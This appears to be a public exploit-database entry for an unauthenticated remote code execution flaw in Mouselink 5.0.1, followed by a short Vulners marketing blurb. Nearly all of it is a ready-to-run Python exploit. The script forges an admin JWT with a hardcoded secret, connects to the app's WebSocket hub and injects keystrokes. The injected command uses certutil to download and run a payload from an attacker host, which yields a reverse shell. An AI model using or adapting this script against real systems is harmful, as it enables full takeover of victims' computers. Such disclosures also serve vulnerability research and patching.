# Exploit Title: Mouselink 5.0.1 - Unauthenticated Remote Code Execution
# Date: 25/06/25
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mouselink.app/
# Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe
# Version: 5.0.1
# Tested on: Windows 10
'''
Description:
Mouselink 5.0.1 allows unauthenticated remote code execution due to
improper JWT validation, enabling attackers to forge JWT tokens with a
known hardcoded secret. Using the forged token, attackers can bypass
authentication, connect to the WebSocket interface, and simulate keyboard
input to execute arbitrary commands remotely, including payload delivery.
This critical vulnerability leads to full system compromise without user
interaction, even if a password is set.
'''
#!/usr/bin/env python3
import requests
import json
import base64
import secrets
import socket
import time
import struct
import uuid
import datetime
import jwt
from urllib.parse import quote
SERVER_IP = "192.168.8.105"
SERVER_PORT = 11521
BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}"
lhost = "192.168.8.100"
payload = "shell.exe"
def forge_jwt(username="admin", issuer="Server"):
key = "gpdTeiQc5@DeU36NEh^8$zK2V!dJ2djTT9aK6gRouJpJ9n^aBYv3#5"
payload = {
"sub": username,
"iss": issuer,
"jti": str(uuid.uuid4()),
"roles": "Administrator",
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1)
}
token = jwt.encode(payload, key, algorithm="HS256")
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def get_device_info():
try:
requests.get(f"{BASE_URL}/api/device/info", params={"ip":
"b088f72a.mouselink.local."}, timeout=2)
except: pass
try:
requests.get(f"{BASE_URL}/api/device/info", params={"ip":
SERVER_IP}, timeout=2)
except: pass
def negotiate_websocket(token):
print("[*] Negotiating WebSocket connection...")
response = requests.post(
f"{BASE_URL}/mainhub/negotiate",
params={"access_token": token, "negotiateVersion": "1"},
headers={
"User-Agent": "Dart/3.5 (dart:io)",
"Content-Type": "text/plain;charset=UTF-8",
"X-Requested-With": "FlutterHttpClient",
"Accept-Encoding": "gzip",
"Host": f"{SERVER_IP}:{SERVER_PORT}"
},
timeout=5
)
if response.status_code != 200:
print(f"[-] Negotiation failed: {response.status_code}")
return None
return response.json()["connectionToken"]
def create_websocket_frame(payload):
payload_bytes = payload.encode('utf-8')
header = bytearray([0b10000001])
length = len(payload_bytes)
if length < 126:
header.append(0b10000000 | length)
elif length < 65536:
header.append(0b10000000 | 126)
header.extend(struct.pack('>H', length))
else:
header.append(0b10000000 | 127)
header.extend(struct.pack('>Q', length))
mask_key = secrets.token_bytes(4)
header.extend(mask_key)
masked = bytearray(payload_bytes)
for i in range(length):
masked[i] ^= mask_key[i % 4]
return header + masked
def raw_websocket_handshake(token, conn_token):
print("[*] Establishing WebSocket connection...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER_IP, SERVER_PORT))
key = base64.b64encode(secrets.token_bytes(16)).decode()
request = (
f"GET /mainhub?access_token={quote(token)}&id={conn_token}
HTTP/1.1\r\n"
f"Host: {SERVER_IP}:{SERVER_PORT}\r\n"
"User-Agent: Dart/3.5 (dart:io)\r\n"
"Connection: Upgrade\r\n"
"Cache-Control: no-cache\r\n"
"Accept-Encoding: gzip\r\n"
"Sec-WebSocket-Version: 13\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Extensions: permessage-deflate;
client_max_window_bits\r\n"
"Upgrade: websocket\r\n\r\n"
)
sock.send(request.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += sock.recv(1024)
if b"101 Switching Protocols" not in resp:
print("[-] WebSocket upgrade failed")
sock.close()
return None
print("[+] WebSocket connection established")
return sock
def send_websocket_messages(sock):
print("[*] Sending protocol handshake...")
sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e'))
time.sleep(0.5)
print("[*] Sending Win+R...")
shortcut = json.dumps({
"type": 1,
"headers": {},
"invocationId": "1",
"target": "KeyboardShortcut",
"arguments": [[91, 82]],
"streamIds": []
}) + '\x1e'
sock.send(create_websocket_frame(shortcut))
time.sleep(1)
command = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload}
C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe"
print(f"[*] Sending payload command...")
keystroke = json.dumps({
"type": 1,
"headers": {},
"invocationId": "0",
"target": "KeyboardTextInput",
"arguments": [command],
"streamIds": []
}) + '\x1e'
sock.send(create_websocket_frame(keystroke))
time.sleep(2)
print("[*] Sending Enter key...")
enter_key =
json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]})
+ '\x1e'
sock.send(create_websocket_frame(enter_key))
time.sleep(0.5)
sock.close()
print("[+] Commands sent successfully!")
if __name__ == "__main__":
print("[*] Starting JWT bypass attack...")
get_device_info()
jwt_token = forge_jwt("admin", "Server")
print(f"[+] Using forged JWT: {jwt_token[:50]}...")
conn_token = negotiate_websocket(jwt_token)
if not conn_token:
print("[-] Failed to negotiate WebSocket")
exit(1)
sock = raw_websocket_handshake(jwt_token, conn_token)
if not sock:
print("[-] Failed to establish WebSocket")
exit(1)
send_websocket_messages(sock)
print("[+] Exploit completed. Check your listener for reverse shell.")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation